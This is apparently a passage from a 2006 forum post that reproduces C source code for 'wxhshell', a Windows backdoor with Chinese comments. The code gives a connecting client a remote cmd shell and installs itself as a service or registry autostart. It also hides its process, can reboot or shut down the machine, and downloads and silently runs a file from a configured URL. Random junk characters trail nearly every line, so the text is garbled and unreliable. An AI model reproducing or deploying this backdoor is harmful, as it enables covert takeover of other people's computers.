      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "+"{+k5t  
    break; PnT)LqEF  
  } &FdWFt=X  
  // 安装 gA#RM5x@  
  case 'i': { { Ng oYl  
    if(Install()) |BMV.Zi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @# P0M--X  
    else vP!GJX &n5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iSK+GQ~  
    break; D.!~dyI.,$  
    } : DG)g3#  
  // 卸载 H( -Y  
  case 'r': { >/f_F6ay#  
    if(Uninstall()) }|)R   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 mjV~  
    else lB8il2&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p(SRjQt  
    break; wVs.Vcwr  
    } >r5P3G1  
  // 显示 wxhshell 所在路径 !%mAh81{&/  
  case 'p': { $Byj}^;1  
    char svExeFile[MAX_PATH]; xk~IN%\  
    strcpy(svExeFile,"\n\r"); &tR(n$ M@>  
      strcat(svExeFile,ExeFile); jP vDFT^d/  
        send(wsh,svExeFile,strlen(svExeFile),0); 0:Xxl76v4  
    break; n7aU<`U  
    } ^yviV Y  
  // 重启 10Wz,vW,n  
  case 'b': { ]T! }XXK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )-rW&"{U  
    if(Boot(REBOOT)) H14Ic.&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YO)$M-]>%J  
    else { }Y(]6$uS  
    closesocket(wsh); $V>98M>j  
    ExitThread(0); !H][LXB~H  
    } 7"X>?@  
    break;  n]W_e  
    } "e3["'  
  // 关机 "tit\a6\(  
  case 'd': { \h<BDk*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 89}Y5#W  
    if(Boot(SHUTDOWN)) gE/Tj$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',7??Q7j&v  
    else { ?VU(Pq*`  
    closesocket(wsh); oj,lz?  
    ExitThread(0); FX <b:#  
    } }!#gu3  
    break; IHfzZHy  
    } `L;eba  
  // 获取shell @\_x'!R  
  case 's': { l*b)st_p%  
    CmdShell(wsh); PQW(EeQ  
    closesocket(wsh); Gnm4gF!BI  
    ExitThread(0); - "*r  
    break; B DY}*cX  
  } >Y 1{rSk  
  // 退出 K[\'"HyQ,X  
  case 'x': { .ujT!{>v/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yj6@7@l>A  
    CloseIt(wsh); rI$`9d  
    break; 57{oh")  
    } {)f~#37  
  // 离开 ExSe=4q#  
  case 'q': { DQ.v+C,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /(I*,.d  
    closesocket(wsh); 8qi+IGRg  
    WSACleanup(); x Ha=3n  
    exit(1); inPJ2uBD\^  
    break; C) QKPT  
        } et,GrL)l  
  } /e\{    
  } z!QDTIb  
t-u|U(n  
  // 提示信息 =bh*[ , -  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~H)4)r^  
} $v.C0 x  
  } nm$Dd~mxW1  
Thy=yz;p  
  return; $DFv30 f  
} QlFZO4 P3|  
R`Aj|C z  
// shell模块句柄 wCs3:@UH  
int CmdShell(SOCKET sock) 7z6 b@$,  
{ @Fv=u  
STARTUPINFO si; D;GD<zC]  
ZeroMemory(&si,sizeof(si)); #yseiVm;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %ugHhS!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;wiao(t>4N  
PROCESS_INFORMATION ProcessInfo; `?*%$>W#"  
char cmdline[]="cmd"; I|oT0y &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 31^cz*V  
  return 0; <q)4la  
} 6Q4X 6U:WB  
T&Xl'=/  
// 自身启动模式 >>l`,+y  
int StartFromService(void)  uD_v!  
{ %x; x_  
typedef struct =M6[URZ  
{ r#PMy$7L  
  DWORD ExitStatus; _eSd nHWx  
  DWORD PebBaseAddress; 87!C@XlK_  
  DWORD AffinityMask; U8#xgz@  
  DWORD BasePriority; &ej8mq"\  
  ULONG UniqueProcessId; 3>ex5  
  ULONG InheritedFromUniqueProcessId; ] U@o0  
}   PROCESS_BASIC_INFORMATION; foF19_2 ,  
4!62/df  
PROCNTQSIP NtQueryInformationProcess; Gz I~TWc+G  
?)Nj c&G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; djQv[Vc {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]e:/"   
ubMOD<  
  HANDLE             hProcess; %OR|^M  
  PROCESS_BASIC_INFORMATION pbi; $lIWd  
idc`p?XP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B@Co'DV[/]  
  if(NULL == hInst ) return 0; \e=_ 2^v!_  
pD"vRbYF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :6J +%(f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i>L+gLW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uk*IpP`  
pY)5bSA  
  if (!NtQueryInformationProcess) return 0; aIy*pmpD=  
kB:Uu }(=N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S 6,4PP  
  if(!hProcess) return 0; cHA7Kg !  
a`9L,8Ve  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }TRAw#h  
F~#zxwd  
  CloseHandle(hProcess); 6dH }]~a  
N(6|yZ<J3M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mM.*b@d-  
if(hProcess==NULL) return 0; !2\ r LN  
gyHHoZc3  
HMODULE hMod; :nHKl  
char procName[255]; <Tw>|cFT  
unsigned long cbNeeded; })xp%<`  
p=GWq(S6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~\p]~qQ\K  
]  H~4  
  CloseHandle(hProcess); b2(RpY2Y  
.9*wY0:  
if(strstr(procName,"services")) return 1; // 以服务启动 wZT%Ee\D%  
8kE]_t  
  return 0; // 注册表启动 ',3HlOJ:  
} gwrYLZNGI  
`J<*9dq%  
// 主模块 XLk<*0t p  
int StartWxhshell(LPSTR lpCmdLine) 2I3h M D0  
{ \?>Hu v  
  SOCKET wsl; _!;Me )C  
BOOL val=TRUE; 1Q;}z Hd  
  int port=0; U/ V  
  struct sockaddr_in door; C fEmT8sa  
CHd9l]Rbe  
  if(wscfg.ws_autoins) Install(); I3 =#@2  
X5fmz%VK@  
port=atoi(lpCmdLine); vzzE-(\\e  
RpG+>"1]  
if(port<=0) port=wscfg.ws_port; mOpTzg@  
_iKq~\v2  
  WSADATA data; HD,xY4q&N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .Ig+Dj{)  
cEW0;\$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2M<R(W!&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wS+V]`b  
  door.sin_family = AF_INET; <H3ezv1M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q/3ziVd7p  
  door.sin_port = htons(port); T lAR.cV  
R2etB*k6[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k 4/D8(OXw  
closesocket(wsl); @WH@^u  
return 1; d\MLOXnLq;  
} N#V.1<Y  
m^'uipa\  
  if(listen(wsl,2) == INVALID_SOCKET) { dca ;'$  
closesocket(wsl); EcIE~qs  
return 1; L!/\8-&$P  
} 4${jr\q]  
  Wxhshell(wsl); Z UKf`m[  
  WSACleanup(); g71[6<D  
UT~a &u  
return 0; tqAd$:L  
@3fn)YQ'  
} NC&DFJo  
G 6VF>2  
// 以NT服务方式启动 &<zd.~N"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gh`m*@  
{ )%rg?lI  
DWORD   status = 0; G;> _<22  
  DWORD   specificError = 0xfffffff; *"9><lJ-!  
6cqP2!~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w6`9fX6{h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5tQ1fJze  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aKU*j9A?;Z  
  serviceStatus.dwWin32ExitCode     = 0; Q 4CjA3  
  serviceStatus.dwServiceSpecificExitCode = 0; ]# t6Jwk  
  serviceStatus.dwCheckPoint       = 0; gVeEdo`$<  
  serviceStatus.dwWaitHint       = 0; fQrhsuCrC  
(mxT2"fC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sGvIXD  
  if (hServiceStatusHandle==0) return; Va Z!.#(P  
pEECHk  
status = GetLastError(); (R`B'OtGg  
  if (status!=NO_ERROR) \xg]oKbn  
{ Y`+=p@2O2o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,mRyQS'F  
    serviceStatus.dwCheckPoint       = 0; L lqM c  
    serviceStatus.dwWaitHint       = 0; (F7(^.MG  
    serviceStatus.dwWin32ExitCode     = status; j4=(H:c~E  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3+ >G#W~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yH][(o=2  
    return; AM=z`0so  
  } kq\)MQ"/X  
+C7 ~b~ %  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zMIT}$L  
  serviceStatus.dwCheckPoint       = 0; Zmbfq8K  
  serviceStatus.dwWaitHint       = 0; {M,,npl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^Rm  
} No2b" G@  
t|t#vcB  
// 处理NT服务事件,比如:启动、停止 kd"N 29  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a^,(v  
{ w[P4&?2:  
switch(fdwControl) ,C3,TkA]  
{ }kg ye2[  
case SERVICE_CONTROL_STOP: u!1{Vt87  
  serviceStatus.dwWin32ExitCode = 0; M$f7sx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RN=` -*E1  
  serviceStatus.dwCheckPoint   = 0; R^{)D3  
  serviceStatus.dwWaitHint     = 0; =4d (b ;  
  { HF|oBX$_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Spt ? >sm  
  } Y8flrM2CwG  
  return; J>d.dq>r  
case SERVICE_CONTROL_PAUSE: 5zON}"EC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8p[)MiC5W^  
  break; Vh>Z,()>>@  
case SERVICE_CONTROL_CONTINUE: p~LrPWHSTP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5nbEf9&  
  break; {Ay"bjZh  
case SERVICE_CONTROL_INTERROGATE: P2 Vg4   
  break; 6(P M'@i  
}; 0'nikLaKy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tHLrhH<w  
} &/,|+U[  
\9-"M;R.d  
// 标准应用程序主函数 !!Z?[rj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dz Zb  
{ `~eUee3b.~  
GfC5z n>  
// 获取操作系统版本 6'xsG?{JY  
OsIsNt=GetOsVer(); N&@}/wzZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I%urz!CNE*  
U*.0XNKp{  
  // 从命令行安装  }-~l!  
  if(strpbrk(lpCmdLine,"iI")) Install(); J90v!p-  
YJ$1N!rG  
  // 下载执行文件 m,fAeln  
if(wscfg.ws_downexe) { -*.-9B~u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n]he-NHP  
  WinExec(wscfg.ws_filenam,SW_HIDE); T0]MuIJ).  
} s(W|f|R  
+{/  
if(!OsIsNt) { g}]t[}s1]  
// 如果时win9x,隐藏进程并且设置为注册表启动 # W"=ry3{  
HideProc(); ID/ F  
StartWxhshell(lpCmdLine); HV<Lf 6gE  
} 1'? 4m0W1  
else `p+Zz"/  
  if(StartFromService()) ToYAW,U[d  
  // 以服务方式启动 47J5oPT2'  
  StartServiceCtrlDispatcher(DispatchTable); $\9~)Rq6  
else ,0LU~AGe   
  // 普通方式启动  T Q,?>6n  
  StartWxhshell(lpCmdLine); 4*$G & TX  
e1P"[|9>R  
return 0; 7g3 >jh  
}
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只看该作者 1 发表于: 2006-10-10
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